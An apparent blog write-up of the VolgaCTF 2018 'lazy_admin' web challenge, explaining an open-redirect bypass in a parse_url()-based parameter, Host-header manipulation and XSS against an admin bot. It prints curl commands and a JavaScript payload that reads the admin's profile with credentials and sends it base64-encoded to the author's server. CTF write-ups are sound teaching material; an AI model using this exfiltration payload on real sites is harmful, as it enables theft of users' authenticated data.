Table of Contents
Last week, my team(dcua) members were playing Insomnihack finals, and at the same time, I just got a chance to play CTF for a very small amount of time.
Considering that I have limited computer usage per day, I decided to play VolgaCTF Quals for fun, and there I solved lazy_admin
which scored me around 150pt.
Other ones were in fact frustrating. Guestbook challenge was really guessy, but then Forgotten Task was pretty cool. I found a LFI but got no time to actually exploit it.
I saw the lazy admin writeup posted on CTFTime, and it seems like I solved it with an unintended way. Today I'm going to explain how I solved the challenge.
Registration is blocked, Only login is allowed. My first thought was to find robots.txt
and get some goody information.
GETing http://lazy-admin.quals.2018.volgactf.ru/robots.txt
returns Disallow: /unauthorized_users.txt
.
GETing http://lazy-admin.quals.2018.volgactf.ru/unauthorized_users.txt
returns 1. Nick:BjnjjdGonhdkG@!lf
.
Strict blog pages with the profile page comes up, with the menus (namely Profile
, Verify
, and Logout
).
In the verify page, it says "Paste your account verify code in the end of this link and send to Administrator".
The sample input shows /verify.php?action=verify&code=
, where I guessed it has to be something to do with XSS.
While user is logged in, the /?redir=
parameter can be used to redirect to other page.
From there, people can bypass filters and trigger XSS from the URL parameter. It seems like parse_url()
function is used from the server-side script.
In the writeup in CTFTime the payload was /?redir=+https://harold.kim
, while I bypassed it with /?redir=\/\/harold.kim
.
This service actually had an unexpected bug. While playing with /?redir=
, I realized that It uses parse_url()
to parse the parameter and it also allowes the host to be included in it.
so for the example:
http://lazy-admin.quals.2018.volgactf.ru/?redir=/ok -> redirects to /ok
http://lazy-admin.quals.2018.volgactf.ru/?redir=http://lazy-admin.quals.2018.volgactf.ru/ok -> redirects to /ok
http://lazy-admin.quals.2018.volgactf.ru/?redir=http://lazy-admi.quals.2018.volgactf.ru/ok -> ERROR
http://lazy-admin.quals.2018.volgactf.ru/?redir=http://harold.kim/ok -> error
http://lazy-admin.quals.2018.volgactf.ru/?redir=http://[email protected]@lazy-admin.quals.2018.volgactf.ru/ok -> redirects to /ok
Then I thought, 'What if the Host parameter is manipulated? should be funny then lol'... and it worked.
# curl -v "http://lazy-admin.quals.2018.volgactf.ru/?redir=http://pwn.moe/" -H "Host: pwn.moe" -H "Cookie: PHPSESSID=<redacted>"
* Trying 82.202.212.170...
* TCP_NODELAY set
* Connected to lazy-admin.quals.2018.volgactf.ru (82.202.212.170) port 80 (#0)
> GET /?redir=http://pwn.moe/ HTTP/1.1
> Host: pwn.moe
> User-Agent: curl/7.52.1
> Accept: */*
> Cookie: PHPSESSID=<redacted>
>
< HTTP/1.1 302 Found
< Date: Mon, 26 Mar 2018 09:20:21 GMT
< Server: Apache/2.2.22 (Debian)
< X-Powered-By: PHP/5.5.38-1~dotdeb+7.1
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Location: http://pwn.moe/
< Access-Control-Allow-Credentials: true
< Vary: Accept-Encoding
< Content-Length: 0
< Content-Type: text/html
So funnily, my payload is :
curl -v "http://lazy-admin.quals.2018.volgactf.ru/verify.php" \
-d "link=%2Fverify.php%3Faction%3Dverify%26code%3DFhgNODNBSWKV&submit=" \
-H "Host: pwn.moe" \
-H "Cookie: PHPSESSID=<redacted>"
The src of https://pwn.moe/verify.php
# cat verify.php
<script>
var xhr = new XMLHttpRequest();
xhr.onload = function(){
(new Image).src = 'http://pwn.moe/a.php?'+btoa(this.responseText);
};
// you can also try http://localhost/server-status to snatch the traffic. :(
xhr.open('GET','http://lazy-admin.quals.2018.volgactf.ru/profile.php',true);
xhr.withCredentials = true;
xhr.send('');
</script>
The log from the server:
82.202.212.170 - - [25/Mar/2018:17:25:42 +0900] "GET //verify.php?action=verify&code=FhgNODNBSWKV HTTP/1.1" 200 984
82.202.212.170 - - [25/Mar/2018:17:25:42 +0900] "GET /a.php?DQo8IURPQ1RZUEUgaHR .....
Decoding base64 from the log successfully returns the flag:
<div class="card">
<h1>admin</h1>
<p class="title">VolgaCTF{clieNt_S1De_is_Awes0mEE_With_p@rse_Url}</p>
<p>Lazy admin</p>